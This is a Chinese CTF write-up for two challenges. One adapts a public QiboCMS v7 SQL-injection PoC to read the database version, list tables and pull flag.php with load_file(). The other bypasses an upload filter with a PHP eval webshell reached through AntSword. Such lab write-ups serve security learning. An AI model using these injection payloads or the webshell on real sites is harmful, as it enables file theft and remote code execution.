赞
踩
今天花了点时间刷了下题目,遇到几道相对来说进阶的题目,学习一下储备一些CTF思路,这些题。。脑洞有点开。
目录
昨天刚做一道
今天继续按着套路来
直接在线CMS指纹识别
百度找到payload ,都是些过了很久的漏洞了
这里简单知道是一个注入漏洞就行了,我们的目的是照着payload修改找flag
POC
- 简单构造一下,
- 向http://localhost/qibov7/member/userinfo.php?job=edit&step=2
- 发送数据包:
-
- truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,
- address=(select user()) where uid=38%23
需要修改的emali=123@qq.com 和 uid=38
其中emali 是我们注册时用的邮箱
uid:点击我们个人主页,uid可以看到
下面到了自己动手的地方了(使用HACKBAR)
url
http://2ee06f40f1b54ce6acda4e66b31973067b028d2008ca40d9.changame.ichunqiu.com/member/homepage.php/member/userinfo.php?job=edit&step=2
post
truename=xxxx%0000&Limitword[000]=&email=111@qq.com&provinceid= , address=(select version()) where uid = 3 %23
可以看到这里报错注入显示了 服务器版本,所以到这我们就复现成功了
接下来爆表 (利用where table_schema=database()不用爆库)
-
- truename=xxxx%0000&Limitword[000]=&email=111@qq.com&provinceid= , address=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where uid = 3 %23
太多表了,一个一个查太麻烦了。(这里面没flag)有一个提示
用dirsearch-master
那么就想办法用注入获取flag.php了
这里就要用到load_file函数了
MYSQL注入中load_file()函数的进一步应用_收集盒 Book box-CSDN博客
用16进制代表/var/www/html/flag.php
0x2f7661722f7777772f68746d6c2f666c61672e706870
最终payload
- truename=111&Limitword[000]=&email=111@qq.com&provinceid=
- , address=(select load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870) ) where uid = 3 %23
最后在个人主页查看源码
搜索flag
抓住了一个点就不要放,既然存在注入就一定要用注入获取到flag,如果获取不到,再去搜索其他的信息,最终一定要与注入结合,才能获取flag,不可能出题人引导你找到了一个漏洞却不让你用。
简单上传个一句话
点击上传成功看路径,没路径是没办法用蚁剑连接的。
上面我们分析,过滤了 <? php 这2个字符。 怎么绕过呢?
最终payload
<script language="pHp">@eval($_POST['xxx'])</script>
上传 ,蚁剑连接。
顺便也能在index.php看见了过滤的代码
- <?php
- if (is_uploaded_file($_FILES["file"]["tmp_name"])):
- $file = $_FILES['file'];
- $name = $file['name'];
- if (preg_match("/^[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$/", $name) ):
- $data = file_get_contents($file['tmp_name']);
- while($next = preg_replace("/<\\?/", "", $data)){
- $next = preg_replace("/php/", "", $next);
- if($data === $next) break;
- $data = $next;
- }
- file_put_contents(dirname(__FILE__) . '/u/' . $name, $data);
- chmod(dirname(__FILE__) . '/u/' . $name, 0644);
- ?>
这道题可以随便上传任意文件,但是对必要的一些php文件内容进行过滤,但是它给出了过滤的结果,想办法绕过过滤即可。
参考链接
[百度杯]九月场 再见CMS writeup_Flyour的博客-CSDN博客_再见cms
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。